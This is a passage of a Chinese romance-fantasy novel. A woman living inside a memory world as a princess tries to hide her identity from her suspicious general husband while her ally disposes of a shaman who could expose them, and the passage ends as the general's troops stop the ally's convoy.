李晏扶住苗悦,将她引到屋内的一张椅子上坐下,倒了一杯热茶递给她。 苗悦接过茶杯,颤声道:“燕钊知道了……他知道我不是昭宁公主了。” 李晏在她对面坐下,神色凝重:“别急,慢慢说。” 苗悦深吸一口气,将在燕钊书房中的所见所闻,一五一十地讲了出来。 从那个熟悉的银纹手钻,到那本记录着“陈阿大”、“石红玉”、“燕承嗣”详细行为特征的黄皮册子,再到那些用朱砂笔标注的记号,以及派出寻访术法的进展。 “他不是在问我意见,他是在试探我,看我懂不懂那些机括原理。”苗悦懊恼不已,“当他说出‘投效朝廷是稳妥正道’时,任务就已经完成了,我就应该及时停止。是我不断介入,导致破绽越露越多,才会让他从疑惑变成了肯定,从肯定变成了追查。” 李晏安静地听着,直到苗悦说完 ,他才开口。 “这事怪不得你。我们也没想到,你能在此地停留如此之久。” 苗悦看向李晏。 李晏道:“离魂香效用有限,能让使用者在记忆世界中停留片刻,施加少许影响,已算成功。像你这样,不仅停留经年,还以多个身份参与关键事件,甚至能主导事件走向,这本身就不寻常。” 苗悦忍不住问:“你过来的时候,那支香还剩多少?” 李晏道:“我不在屋里,按时间推算,那香应该还剩四分之一柱。” 苗悦粗粗一算,心凉。 照这个速度,等记忆世界与现实世界时间节点一致时,那香都未必能燃尽。 原以为只是一场短暂的潜入,却没想到居然度过了如此漫长的真实时光。 苗悦忧虑:“燕钊已经在调查真相了,我要是再提什么‘忠君爱国’,恐怕会适得其反。” 李晏沉吟片刻:“你的顾虑确有道理,但也无需过度担忧。眼前这个世界依然稳固如初,说明燕钊并未察觉此间虚幻。他只是在用他的经验来解释那些异常。只要他不用武力逼迫你,不触碰到离魂香的核心真相,那么……” “武力逼迫我?”苗悦睁大眼,“他要是敢,我立马死给他看。” 李晏噎了一下,温言道:“我并非说他会如此,只是列举一种可能。他既然已起了疑心,并持续调查数年,就不会甘心停留在言语试探阶段,他一定想要一个真相。” 苗悦愁道:“其实不到万不得已,我也不敢死。谁知道下一个身体会是谁?我发现我穿的每个身份都是燕钊身边重要的人,能直接影响事件走向。不是我想离开就能离开的。” 说到这里,她语气带上了几分遗憾:“回想起来,最好的机会就是石红玉那次。我都已经上路了,偏偏冒出来一个燕无咎。要不然,我早就是个逍遥快活的富婆了。” 苗悦看向李晏:“现在四方会还存着我好几万两银子呢,可恨不是现实里的。” 李晏眉头皱起,道:“我现在很困惑。以燕钊如今的地位,完全可以威逼利诱,想得个真相还不容易吗。他却没有这么干,他在顾忌什么?” 苗悦想了想,说:“可能是怕我撒谎骗他吧。” 李晏摇了摇头:“你或许没见过宫里那些人的手段,我却是知道的。燕钊统领燕家军多年,叛徒细作必定见过不少,我想他也是知道的。” 苗悦说:“你要是这样说,我可有点害怕了。那真不如死了算了。”她灵机一动,“要不你去死吧,你死了回到现实,把我叫醒。” 李晏想了想,觉得再呆下去,确实有让燕钊发现真相的危险。 他点头道:“这也是个办法。你觉得现在的燕钊,会同意为朝廷效力吗?” 苗悦认真道:“我只能说,他性格肯定是有变化的,至于其它的……可能还要找机会试探一下。” 李晏道:“这件事交给我。我是朝廷的人,探问他对长安的态度,合情合理,不会引人怀疑。至于你,继续伪装下去,一切如常便好。待我有把握之后,就回现实叫醒你。” 苗悦道:“好。” …… …… 苗悦回到自己的院落,刚踏进院门,就见两名守门的卫兵正拿着卷尺和木桩在院中忙碌。 见到她回来,那两人停下手中活计,整齐地行礼:“夫人。” 苗悦疑惑地看着他们:“你们这是……” 一人答道:“回夫人,将军吩咐的,让我们量一下院子的尺寸。” “他要干嘛?” 另一人道:“这……属下也不知。” 苗悦想起她与燕钊关于花草的讨论,心知燕钊是要用花木布置院子,便道:“你们继续吧。” 二人领命,立刻又投入到工作中。 一人负责钉桩,一人负责测量,不时低声交流几句。 卧房外墙的角落,院中平整的空地,排水沟的位置,院墙的高度,以及地面不同位置的坡度,一一做了记录。 全部测量完毕,两人将工具收拾整齐,再次向苗悦行礼,而后离开了院子。 傍晚时分,花厅烛火通明。 燕钊照例过来吃饭。 柳娘真心替苗悦高兴。 圆不圆房是其次,只要将军每日都过来用饭,府中上下自然明白夫人在将军心中的分量,谁也不敢轻慢夫人。 为此,她每日在饮食搭配上都格外尽心,既要合将军口味,也要照顾到夫人的身体。 一张不大的黑漆圆桌,几样精致小菜。 燕钊换了一身深蓝色的常服,气质柔和许多。 “新来的厨子做了几道药膳,你尝尝看,合不合口味。” 燕钊为她盛了一小碗汤:“这是黄芪枸杞炖乳鸽。” 白日在书房看到的那些,让苗悦忐忑了一下午,生怕燕钊直接捅破窗户纸追问真相。 如今看他像寻常一样吃饭,似乎无意揭穿什么,苗悦便也顺势垂下眼,配合地装起傻来。 她舀了一勺汤送入口中,真心实意地赞道:“很好喝,很鲜。” 燕钊看着院子里几个新添的细木桩,问:“他们做事没有吵到你吧。” 苗悦摇头,道:“种些花花草草,哪用这么细致的量院子。” 燕钊道:“刘太医说你体质偏寒,气血运行不畅,若能时不时泡一下温泉,对你有好处。衡州地处水网平原,不易形成温泉。据我所知,城内乃至周边百里之内,都没有天然泉眼。” 苗悦停下筷子,瞅着他。 燕钊语气平淡,像说一件很寻常的事。 “我见这院子还算宽敞,就想在避风向阳的角落,给你砌一个小的汤池。池底铺设地龙,与耳房里的炉灶相连。用时将水引入池中,烧火加热保持水温。再按太医的方子,放入特制的药包,功效与天然温泉相差无几。” 苗悦愣住了。 她原本以为只是种些花草,没想到,燕钊是要在院子里为她凭空造出一个“温泉”。 她抿了抿唇,视线下移,莫名地心虚,只轻声说:“这太麻烦了。” 燕钊笑道:“一劳永逸的事,怎么会麻烦。到时将汤池与旁边的屋子衔接起来,砌成半室内半室外的样式。池子上方用活动的格栅遮挡,透光又保暖。一年四季,想泡便能泡。” “地龙”、“与屋子衔接”、“活动格栅”这些设计,无一不显示出他对此事的深思熟虑。 说不感动是不可能的。 苗悦已经许多年没有体会过被人无条件照顾的感觉了。 虽然她知道,燕钊的这份好并不纯粹。 那本黄皮册子就在抽屉里,记录着他长达数年的怀疑与追查。 他所做的一切,或许有真情,但也必然有旁人不知的考量。 但是这个瞬间,仅仅在这一刻,苗悦是感动的。 她在暗中算计他,而他明明有所察觉,仍然选择这样待她。 苗悦张了张嘴,声音有些发涩:“其实你不必这样……” 燕钊给她夹了一块软烂的鸽肉,道:“你是我的夫人,让你住得舒服些,是应该的。” 第63章 接下来的几天, 没有人来院子里丈量尺寸,但关于院落布置的询问却并未停止。 比如砌水池偏好哪种质地的青石?池边铺地的木板喜欢何种木料与纹样?连接房间与水池的廊道,悬挂的棉布帘子中意哪种花色? 苗悦一一选了, 却不知这池子自己能不能用上。 她更惦记着去府衙外看看衡州城,可左等右等, 燕钊一直未能抽出空来。 苗悦每天在府衙里到处转, 已经把这里摸得门清, 自觉身体也强健了不少。 她试探着提出带几个护卫自己出去, 被燕钊以“近日城外流民增多, 独自出行不安全”为由温和而坚定地回绝了。 这让苗悦心中隐隐有些不快, 她觉得自己像是被圈养起来了。 又到了一个初五, 城南花市开市。 燕钊带了几名便衣亲兵,轻车简从,陪苗悦出了门。 马车停在府门前, 为了适应高大的车辕, 脚蹬做得比寻常马车要高上几分。 苗悦习惯性地抬腿, 打算一步跨上马车。 虽然她最近身体强健了不少,但还是高估了自己, 脚下一软,身子便向一侧倾去。 燕钊手臂收紧, 稳稳地将她托住。 苗悦借着他的力进了马车。 燕钊低声吩咐亲兵,多加一层脚蹬,随后跟进马车。 车在花市入口停下。 刚一下车,一股混杂着花香、食物热气、泥土腥气的喧嚣热浪扑面而来。 这里虽以“花市”为名,实则是一个包罗万象的大型集市。 街道两旁,卖时鲜瓜果的,支着锅灶卖小吃的, 陈列着各色布匹绸缎的,摆满竹编陶器等家常物件的,摊铺鳞次栉比,叫卖声、讨价还价声、孩童嬉笑声交织在一起,充满了粗糙而蓬勃的生命力。 苗悦不急着去看花花草草,她慢悠悠地走,经过不同摊子时会与摊主闲话,问问价格,默默记在心里。 她也会向燕钊问一些问题,比如“士兵的衣服都是从哪里买的”“衡州的盐是哪家供应的”“巡夜的是士兵还是衙门捕快”。 燕钊有些意外,却也认真给了回答。 经过挂着房屋租赁木牌的牙行时,苗悦也走了过去,像寻常租客一样,问起附近几个街的租金房屋大小和邻里情况。 燕钊始终跟在她身侧半步,为她隔开拥挤的人流。 等真到了买花木的区域时,苗悦脑子里已经灌满了关于衡州城物价、民生、治安乃至房屋租赁的各种信息。 花市深处,香气愈发浓郁。 苗悦没有明确目标,边走边看,除了茉莉栀子等香花,还选了不同花色的菊苗,又挑了半人高的西府海棠,最后买了几株叶片油亮的果树。 她每点一样,不等开口议价,便有亲兵上前与摊主交谈记下品种数量和约定的价格。 整个过程安静高效,无需苗悦操心银钱,也免去了她讨价还价的繁琐。 燕钊负手跟在她身旁,在她驻足时,会顺着她的目光看去,偶尔在她犹豫时,也会简短地提一句“都好看”。 推着独轮车的货郎吆喝着经过,燕钊伸出手臂,虚揽在苗悦身后,将她往自己身边带了一下。 这番细微的照护,落到二楼临窗而坐的几位茶客眼中。 “燕钊身边跟着的女子是谁?祝兄可认得?”一锦衣公子托着下巴,胳膊支在木栏上,目光追随着花市中的一行人。 被他称作祝兄的中年文士,名叫祝成锦,是衡州本地最大的豪绅世家。 他眯着眼细瞧,嘴角撇了撇:“看那面色苍白脚步虚浮的模样,八成就是那位新进门的燕夫人了。” 那锦衣公子挑眉,拖长语调“哦”了一声:“我还以为他答应这桩婚事,不过是做做样子,演给咱们看。看这小心翼翼护着的架势,倒像真上了心。” 祝成锦从鼻子里哼出一声冷笑,语气刻薄:“一个泥腿子出身的军汉,侥幸得了势,还真以为攀上高枝儿就能改了门庭?不过是沐猴而冠,学人做派罢了。瞧那女子病病歪歪,也不知是哪里来的公主,他还当成宝了。” 锦衣公子闻言,轻笑一声,未置可否。 在他们这些本地豪族士绅眼中,燕钊的崛起不过是时势造英雄,他骨子里依旧是个上不得台面的武夫。 另一华服文士嗤道:“一边装模作样地娶个公主,借皇室的名头拉拢我等,一边推行那些打压田亩清查隐户的政令,挖我们的根基。当面一套,背后一套,小人行径。” 那锦衣公子眯着眼,目光追随着远处苗悦一行人的身影,细细打量了许久,才缓声道:“旁的不论,他待这位新夫人,倒不似作伪。” 祝成锦眉头一挑,凑近了些,幸灾乐祸道:“哦?难不成,咱们这位铜皮铁骨的燕将军,如今也要有软肋了?” 远处,苗悦扶着门柱,累得不行。 马车已等在后门外,让她不必走回头路。 苗悦上了马车,心中十分满足。 这一趟收获颇丰,不仅为院子添了生机,更对这座即将安家的城市,有了实实在在的了解。 马车逐渐驶入闹市区,正值傍晚时分,是这座城池一天中最具烟火气的时刻。 苗悦掀开车帘一角,打量着衡州城。 街道两旁商铺林立,行人往来,虽不如长安繁华,却也透着一股勃勃的生机。 挑着担子匆匆赶路的货郎,挎着菜篮讨价还价的妇人,摇着折扇悠闲踱步的雅士。 布庄伙计吆喝着新到的绸缎,茶楼里说书人抑扬顿挫的声音,半大的孩子围着卖糖老翁叽叽喳喳。 与帝都的恢弘庄严大相径庭,衡州城的繁华,带着一种质朴而蓬勃的生命力,是实实在在的触手可及的市井生活。 苗悦眼中闪着光芒。 这座陌生的城市,是她给自己和阿芦选择的定居地。 看着街上行人或休闲或忙碌的神情,苗悦心中那份对安稳的渴望,也变得更加具体了。 “衡州城比我想象的要大不少。”她感叹,转头看向燕钊,“若是在城中置办产业,你觉得哪一片比较好?离市集不远,但又闹中取静的地方。” 待任务完成回到现实,她能从李晏那拿到八千两银子,去掉入城捐,剩下的也足够好好置办一份产业了。 燕钊看了她一眼,答道:“城西地势稍高,且靠近官署,治安最好,也相对安静。城南便是今日去的花市所在,商贾云集,最为热闹,但也嘈杂些。城东多住着本地士绅,环境清幽,但离市集稍远。若想清静又便利,城西靠近园林一带,是不错的选择。” 苗悦点点头,默默记下,又问:“你将来是怎么打算的?是要一直留在衡州,还是再往其它城池去?” 燕钊反问:“你希望我如何?” 苗悦说:“我当然希望你能一直留在衡州,把这里治理好。和平得来不易,能在衡州安安稳稳地过日子,我就非常知足了。” 燕钊静了片刻,缓缓道:“我还以为,你会更希望我去长安,为圣人效力,搏一个封妻荫子的前程。” 他话一出口,车厢内顿时安静。 苗悦反应过来,自己一不小心把心里话说出来了。 心念电转间,她挤出一个苦涩的笑。 “方才一时情急,说出了那番话,实在是昭宁私心作祟。我是将军的夫人,看到你征战辛苦,心里就盼着你能安稳些,盼着我们小家能长久团圆。” 她自责道:“然而,昭宁不仅仅是将军夫人,更是朝廷的公主。我却因一己私心,险些忘了朝廷的恩典,忘了圣人的期望。幸而将军提醒。男子汉大丈夫生于世间,自当胸怀天下。若朝廷需要,若圣人有召,将军理应奔赴长安,为国效力。方才是昭宁糊涂了,将军切莫把我的妇人之见放在心上。” 燕钊静静地听她解释,看不出喜怒,眸光深深,一眨不眨地锁在她脸上。 在他的注视下,苗悦逐渐心慌,仿佛自己上演了一出拙劣的独角戏。 她装作惭愧,低下头,避开了他的视线。 燕钊笑了下,道:“你好像只叫过一次夫君,现在怎么不叫了?” 苗悦微怔,心道,多大点儿事,满足你。 她羞怯垂首,拉着语调又嗔又娇:“夫君——” 燕钊倾身向前,握住了苗悦放在膝盖上的手。 苗悦回撤。他握 得更牢些。 “你想过安稳的日子,我可以给你一个固若金汤的衡州城。你若觉得我该去长安为圣人效力,我也未尝不可为你走一遭。”他手指微微收紧,意味深长,“但夫人,你得告诉我,你真正想要的是什么。” 苗悦眼珠转了转,紧急措辞,就听燕钊又说:“不要拿那些冠冕堂皇的话来搪塞我。我不是十岁,也不是十六岁,要给我灌输什么想法,只靠说说是不够的。” 这一句话,把苗悦堵了个结结实实。 苗悦不由暗骂李晏,不是说要死遁回现实吗,怎么动作这么慢,她要是顶不住招了,责任就在李晏。 她脑中灵光一闪,眉头蹙起,双手抚上心口。 燕钊见状,果然担心,不再追问,直起身,紧攥的手也松开了。 他问:“怎么了?” 苗悦:“心口疼。” 燕钊立刻按住她内关穴,对车夫喊:“去最近的医馆。” 苗悦拦住:“不用,直接回府吧。我就是累了,话说得多了,我眯一会儿。” 燕钊抿唇,面色微沉,像是看出她装病逃避。 苗悦才不管那么多,能糊弄一天是一天。 她闭上眼,靠在车壁上养神,心道,这孱弱身体也不是一点好处没有。 第64章 马车在将军府门前停稳, 燕钊扶着苗悦下车。 这时,一阵马蹄声由远及近,伴随着粗犷兴奋的呼喊:“将军!将军!属下回来了!” 燕钊与苗悦同时循声望去。 只见三四骑快马旋风般冲至府门前, 为首那人勒住缰绳,未等马匹停稳便翻身跃下, 动作干净利落。 他身后跟着的几人也纷纷下马, 虽风尘仆仆, 却个个精神抖擞。 燕钊眼中顿时爆发出明亮的光彩, 大步迎上前去, 重重一拍那人肩膀:“陈义!你小子, 可算回来了!” 陈义抱拳行礼, 声音洪亮:“属下幸不辱命!”他说着,目光转向苗悦,“这位……莫非就是新夫人?” 燕钊笑意更深了些, 扶着苗悦过来, 介绍道:“这位是昭宁公主。”他又对苗悦温声道, “这是我的好兄弟,陈义。” 陈义再次抱拳:“末将陈义, 参见夫人。仓促归来,未能备礼, 还请夫人莫怪。” 燕钊朗声笑道:“你能在这个时候回来,就是最好的礼物了。” 他往陈义身后看:“就你们几个?” 陈义嘿嘿一笑:“将军稍候。” 随着他话音落下,一辆青篷马车,在几名壮汉的簇拥下,不紧不慢地驶近。 苗悦扶着燕钊的手臂,好奇地望过去。 陈义快步走到马车旁,低声说了句什么, 然后恭敬地掀开车帘。 一名五十岁上下,两颊瘦削肤色蜡黄的妇人,低着头,动作缓慢地探身,踩着脚凳走了下来。 陈义对燕钊道:“这位是巫医秦娘子,在苗疆一带颇有威望,这次……” 苗悦呼吸猛地一窒,下意识攥紧了燕钊的手臂。 燕钊微怔,转头看向她。 苗悦知道到自己失态了,立刻松开了手,低声道:“我累了,心口有点不舒服。” 燕钊扶住她,对陈义道:“你带秦娘子去客院休息,好生招待。我们晚些再叙。” 说罢,不再多言,半扶半抱着苗悦转身入府。 苗悦踏入院门,一眼便看见了院角那处已然成型的新景致。 原本的空地上,用青石砌了一个椭圆形的温泉池,石料边缘提前打磨圆润。 池边铺着防滑的木板,一侧留出排水沟。 最妙的是,从池子到她卧房的外墙之间,搭了一条封闭的廊道,廊顶覆着防雨的油布,两侧挂着厚实的棉帘,确保从屋内到池边,全程都不会受一丝风寒。 燕钊跟在她身后,见她看到池子,便开口道:“怕平日动工吵到你休息,趁今天出门,让他们加紧做完了。这东西构造很简单,池底铺上陶管,连着外面的炉灶。后面只需将水引入池中,灶膛生火加热,让热水在陶管中循环,便能模拟温泉。” 他指了指院墙另一侧:“烧火的灶间在院子外,不会让烟气熏过来,过两天就可以通水试一下。” 苗悦心中一暖。 这孩子从小就是这样,说过的话总能做到。 她看向燕钊,无法不动容:“你费心了。” 燕钊笑了笑,扶她进了屋。 柳娘早已备好热水,见他们回来,立刻端上一杯热气腾腾的红枣茶。 苗悦在桌边坐下,捧着茶杯暖手,热气氤氲中,脸色似乎也红润了些。 燕钊见她并无大碍,便准备离开。 苗悦以为他要去见秦娘子,下意识伸手拉住他的衣袖。 燕钊回头,目光带着询问。 “你去哪?”苗悦问。 燕钊挑眉,似乎有些意外:“今日堆了些公务,我去处理一下。” 苗悦仍揪着他的衣袖不放,道:“李大人在这边时日也不短了,想来也该回长安了。我有些东西想托他帮忙带回,还有些口信要当面交代他。” 燕钊道:“那我派人叫他过来一趟。” 苗悦松开手:“好。” 燕钊唇角微扬,伸手在她略显苍白的脸颊上蹭了下。 “今天有些晚了,你早点休息,我明天再过来。” 燕钊走后,时间仿佛都拉长了。 苗悦坐立不安,几次走到窗边张望,反复盘算着该如何与李晏商议秦娘子之事。 过了许久,李晏才来。 他进门时,神色比往日更加凝重几分。 苗悦遣开婢女,将厅门半开,在李晏对面坐下。 没有任何寒暄,苗悦直截了当。 “燕钊找到了秦娘子,再让他这么查下去,一定会发现真相,你必须把秦娘子带走。” 李晏一怔,思忖道:“原来如此,我听说有一队人回来了,让周先生去打听了,说是带回了一位苗疆的巫医,没想到竟是秦娘子。” 苗悦低声说:“秦娘子不应该出现在燕钊的记忆中,只应该出现在你的记忆里。我现在很怀疑这个世界是不是只由燕钊的记忆构成。会不会还有我的记忆?会不会还有你的记忆?否则,他怎么能一到苗疆就刚好找到秦娘子。” 李晏道:“离魂香从来没有这么起效过,我也没办法解释。现在燕钊的性格已经变化非常大了,只要他不发现这个世界是假的,我们就算成功了。” 苗悦问:“你当初是怎么找到秦娘子的?” 李晏道:“是秦娘子主动来到长安。她儿子欲争夺苗疆祭司之位,希望得到朝廷的支持。” 苗悦手指摩挲着茶杯,道:“那燕钊能把人请过来,一定也跟这件事有关。但燕钊的支持,肯定不如朝廷的支持有分量。你就以此为条件,让她跟你回长安。” 李晏皱眉,道:“我得想一想,秦娘子刚到衡州,就找借口跟我走,太明显了。” 苗悦说:“没那么多时间让你想。秦娘子可能不会立刻提起离魂香,但一样样试过去,总有一天会试到离魂香。以燕钊的脑子,他会推测不出真相吗?你也不用找什么借口,直接把人偷走抢走。总之,为防万一,你要先解决了秦娘子,再回现实。” 李晏点头,语气果决:“好,我来安排。” 苗悦道:“你动作未免太慢,拖了这么久还不回去,是怕死?” 李晏道:“我想先探探燕钊的态度,多了解此人几分,待回到现实,也更有把握说服他。只是此人城府深沉,喜怒不形于色,他身边那个杜言又油滑得很,半句有用的话也套不出。” 苗悦听了,不知想到什么,唇角微弯,语气透出几分骄傲:“他是这样的。心里头纵有千般念头,面上也轻易不叫人瞧出来。既然问不出,不如先回去。” 李晏解释道:“在这里,我做些出格之举,说些放肆的话,也无大碍。反正一梦醒来,他什么都不会记得。可回到现 实,行事说话便需万分谨慎,到时再想探他心意,只会难上加难。” 苗悦目光微动,问:“现实中的燕钊……真的会忘记这里的一切吗?一点都不记得?” 李晏一怔,抬眼,定定地看着她:“你希望他记住吗?” 苗悦抿唇,避开了他的视线,没有回答。 李晏皱眉,斩钉截铁道:“他什么都不会记得。离魂香燃尽,大梦终醒。此间种种,于他而言,不过浮光掠影,了无痕迹。” 苗悦垂眸,沉默着。 一种难以言喻的情绪在她心中弥漫开来。 有点空落落的失望,仿佛某种隐秘的期待落了空。同时又有一种如释重负的轻松,仿佛卸下了一个沉重的负担。 李晏神情肃然,语气加重:“你必须保持清醒。你眼前的燕钊,并非现实中的他。是因你的介入,他的童年才得到过温暖,才会是如今这副温和模样。现实里的燕钊,童年只有凄风苦雨,在铁屏寨亦未被真心接纳,正因如此,他才会轻易投效燕九畴。” 苗悦直视回去:“你不要擅自定义他。我见过童年的燕钊,他本性纯善,骨子里是能自得其乐的人。或许他不曾从家中得到温暖,但他的童年,绝不是只有凄苦。他有让自己快乐的能力。” 李晏不以为然:“是你亲口说的,他引来山匪,手刃其父。这样的人,谈何本性纯善?” 苗悦坐直了:“首先,陈阿大并非他生父。其次,他若不动手,就会被送入宫中做太监。我不是说他的行为是正确的,但至少,这背后有可以理解的原由,并非他天性残忍。” 李晏眼神复杂地看向她:“你在替他开脱。” 苗悦微滞,随即反驳:“我是就事论事。” 李晏静默片刻,道:“这里的燕钊待你极好,你会对他动心,实属人之常情……” 苗悦下意识否认:“我没有……” 李晏却不理会她,语气转为严厉:“你尽可对此地的燕钊动心,但万万不可将这份感情带入现实。否则,必将痛苦不堪。” 苗悦深吸一口气,神色恢复平静:“我分得清记忆与现实。我替他说话,只因我一路看着他成长,知晓他本心如何。” 李晏凝视她良久,最终道:“但愿如此。” 他站起身:“秦娘子之事我来处理。之后,我会离开此地,再将你唤醒。” 苗悦道:“尽快吧。” 在等待李晏消息的日子里,苗悦院中的温泉池以惊人的速度完工了。 前些日子在花市挑选的那些花草,也都搬进了府邸。 两株半人高的西府海棠,被仔细地种在了窗外的空地上,枝桠间已冒出点点绿意。 几丛兰草和应季的菊花,栽在了新砌的陶盆里,沿着廊下摆开。 还有些苗悦叫不上名字但瞧着欢喜的藤蔓植物,被细心牵引着,攀上了新扎的竹架。 那几棵移来的矮株果树,也都寻了合适的位置落了根,虽还光秃秃的,但可以想见,来年春夏,这里会是怎样一番花叶扶疏暗香浮动的景象。 青石板旁有了摇曳的花草,肃穆的回廊下添了斑斓的色彩,空气中都隐隐浮动着植物特有的香气。 这座原本只讲究实用,透着冷硬气息的府邸,被绿意与鲜活悄无声息地浸润着,变得柔软可亲。 这些天,无论是用饭、闲谈或是处理琐事,燕钊再未旁敲侧击地试探过她的身份,也从未提起过秦娘子。 那个令苗悦脊背发寒的册子,仿佛从未存在。 她悬着的心,在平静温和的照料中,不自觉地慢慢回落。 她与燕钊之间,毕竟不只有昭宁公主的记忆,还有陈阿大同处一屋的亲情,还有石红玉相互帮扶的友情,还有燕承嗣嬉笑打闹的兄弟情。 尤其石红玉,她与燕钊之间纯粹的扶持之谊,早已在内心深处扎根。 这让苗悦无论如何都无法对燕钊产生诸如“畏惧”之类的情感。 她总会在他温和的注视与熟稔的关心里,渐渐放下心防。 譬如此刻,听闻温泉池今日便可使用,苗悦心中雀跃,立刻便将警惕抛到了脑后。 清水引入池中,灶膛里的火生了起来。 不多时,池底铺设的陶管开始发挥作用,水面升起袅袅白雾。 燕钊试过水温,仔细检查池壁密封和廊道保暖。 苗悦站在一旁,期待地看着。 穿成昭宁公主以来,她一直缠绵病榻,只能用湿毛巾擦身,早就渴望能痛痛快快地泡个热水澡。 燕钊检查一切都没问题后,打开了池底的排水口。 清澈的热水哗哗流走。 苗悦痛心,忍不住开口:“这水不是挺好的吗?” 燕钊语气温和:“你现在气血两虚,身子骨太弱。等你再养得壮实一些,让你泡个够。现在,再忍忍吧。” 苗悦不满:“那你急乎乎弄个池子摆在这,又不让用。” 燕钊道:“给你点盼头,好好喝药,好好吃饭。” 苗悦对着他的背心撇撇嘴。 若是以前的苗悦,定会不管不顾偷偷痛快一把。 但经历了几次病痛折磨,她也懂得克制了。 燕钊转过身,提起另一件事:“李大人即将返回长安,我明晚在花厅设宴,为他饯行。” 苗悦乖巧点头:“好,都听你安排。” 饯行宴设在小花厅,规模虽小,却也布置得十分正式。 主位坐北朝南,燕钊与苗悦并坐上首,李晏居左首主客位,杜言与赵副将陪坐右侧。 下首两侧还设了数席,李晏的几位主要随从,以及燕钊这边的几位文官属吏分坐其中。 厅内灯火通明,侍者穿梭往来,颇有规仪。 燕钊举杯说了几句送别的场面话,李晏也客气回应,感谢这些时日的款待,又特意向苗悦敬了一杯,说了些“望公主善自保重”的话。 酒过三巡,席间渐有了些轻松的气氛。 侍者端上当地名菜,剁椒鱼头,红艳艳的辣椒铺了满盘。 那盘子正要往苗悦那边放,燕钊很自然地抬手示意了一下,侍者会意,便将菜摆远了些。 那侍者放下盘子,直起身时,动作极轻微地对燕钊摇了下头。 燕钊与那侍者对视一眼,自然地移开视线。 这小小的不易察觉的互动偏就被苗悦看到了。 苗悦才放松几日的心又提了起来。她怀疑这又是燕钊的试探,却实在想不通,这番动作是在试探什么。 周隐持壶过来要为苗悦斟酒。 燕钊虚拦了一下,笑道:“周先生美意心领了。大夫叮嘱过,她服药期间,不可饮酒。”说着将自己面前那盅温着的杏仁露推到苗悦手边,“以这个代吧,也是一样的。” 周隐连连称是,笑着为苗悦斟满了杏仁露。 李晏看在眼里,感慨道:“临行前家父为公主忧心,怕公主初来此地,水土不服,心中孤寂。如今亲眼得见将军待公主如此细致体贴,我这颗心总算能落到实处。回去之后,也可向圣人与家父有个圆满交代了。” 燕钊闻言,唇角微勾。 他执起酒杯,遥遥向李晏一举:“李大人过誉了。公主既已嫁给我,钊自当竭尽所能,不使她受半分委屈。” 他语调微转,声音虽稳,却带着不易察觉的深意:“此去长安,路途遥远,李大人……务必珍重。” 第65章 李晏的车队在清晨驶离了衡州城。 车轮碾过山腰土路, 发出单调的辚辚声。 李晏坐在车里,闭目养神,肩颈舒展, 面容沉静,锦袍纹丝不乱。 秦娘子天未亮就悄悄上了这辆马车, 尸身已在半道抛入了深谷。 李晏想起, 不久前他将点心递过去时, 她笑着道了谢, 捻起吃了。 虽然知道这里是记忆世界, 李晏仍不免心中酸涩。 毕竟是旧识, 又无过错。 好在那毒发作时并无苦楚, 这死法,也算体面。 他睁开眼,看向小几上的青瓷碟。 几块 荷花酥, 摆在碟子里。 李晏捏起一块, 暗叹一声, 自己也该离开了。 这时,马车突然停在了僻静的山道上。 李晏眉头微蹙, 放下点心,掀开车帘一角望去。 只见一队黑甲骑兵, 无声地拦在了道路中央。 为首一人,端坐于高大的黑色战马之上,玄色披风在风中拂动,正是燕钊。 在他身旁,跟着杜言。 李晏的心沉了下去。 他推开车门,惊讶又疑惑地拱手道:“燕将军,您这是为本官送行?劳动将军大驾, 实在惶恐。” 燕钊居高临下地看着李晏,脸上没有任何表情,冰冷地审视着,似乎没有开口的打算。 这眼神…… 李晏恍惚了一瞬,想起现实中,他初到衡州第一次见到燕钊的场景。 那时,这位年轻的将军也如现在这般,端坐于马上,周身散发着未曾收敛的煞气,不屑于任何寒暄与客套。 那不加掩饰的隔阂与审视,冷漠,疏离,难以亲近。 眼前的燕钊,终于变回了李晏记忆中那个冷酷难测的边陲枭雄。 “李大人要走便走,”杜言笑呵呵开口,“为何还要带走将军府上的客人?” 李晏疑惑更甚,道:“下官回京复命,所携皆是从长安带来的随从,何来贵府的客人?” 杜言笑着摇了摇头:“看来李大人是贵人多忘事。既如此,只好得罪了。” 他朝旁边一名亲兵使了个眼色。 那亲兵翻身下马,径直走向李晏的马车。 李晏立刻侧身拦在车前,沉声道:“放肆,本官的车驾,尔等岂敢无礼。” 亲兵没有看他,只两步绕过,一把抓住了车门,唰地拉开。 车厢内空荡荡的,只有锦缎坐垫和一个摆着点心的小几。 清晨的阳光斜斜照进去,能看清每一处角落,没有人。 那亲兵又蹲下,低头查看车底。车底也是空的。 他回头看向燕钊,燕钊点了点头。 那亲兵立刻拔出腰刀,用刀尖和刀背敲打车壁和底板,发出沉闷的笃笃声。 他又挥刀,劈开锦缎坐垫,里面填充的棉絮散落出来。 座椅下是实木底板,并无夹层。 这就是一辆再普通不过的马车,甚至都不能算豪华。 李晏的脸色彻底沉了下来。 他盯着被毁坏的车厢,胸口剧烈起伏了几下,极力压抑着怒火。 “燕钊!”他咬着牙说,“下官敬你是一方节镇,对你再三忍让。可你今日所为,是否欺人太甚?” 一旁的周隐抢步上前,站在李晏身侧,喝道:“燕将军,我家大人乃襄王嫡子,天子钦使。尔等如此毁损车驾,与羞辱天家何异!” 李晏的亲兵们俱都面露愤慨,齐齐按上刀柄。 同一时间,黑甲骑兵们不等燕钊吩咐,兵器出鞘,策马上前,瞬息间将李晏一行人围在了中央。 冰冷的铁甲在晨光中泛着暗沉的光,肃杀之气扑面而来。 李晏气血上涌,瞪着燕钊,厉声喝道:“燕钊,你想造反吗?!” 杜言呵呵一笑,道:“李大人息怒。我家将军若真有二心,又何必迎娶公主,与天家结亲呢?实在是将军心中有一桩陈年旧事,困扰多年,如鲠在喉,总想求个明白。” 杜言捋了捋胡子:“原本,是想请那位妙手秦娘子帮着梳理诊治,解开心结。谁曾想,秦娘子竟忽然不见了踪影。不过不打紧,李大人见多识广,或许也能为将军解答一二?” 自始至终,燕钊未发一言,只冷冷地看着李晏。 李晏回看燕钊,问:“什么旧事?” 杜言道:“昭宁公主的真实身份是?” 李晏早有预计,听到此话心中仍是一突。 他强自镇定,仍在试图敷衍过去。 “如今朝中并无适龄公主,从宗室中遴选贵女加封,以固邦交,乃是历朝旧例。陛下既已下旨册封,昭宁便是我大豫公主,名正言顺,有何不妥?” 杜言轻轻叹了口气,惋惜道:“看来李大人还是没明白将军的意思。” 他话音方落,一声利刃入肉的闷响传来。 距离李晏最近的一名亲卫瞪大了眼睛,一截染血的刀尖从他胸前透出。 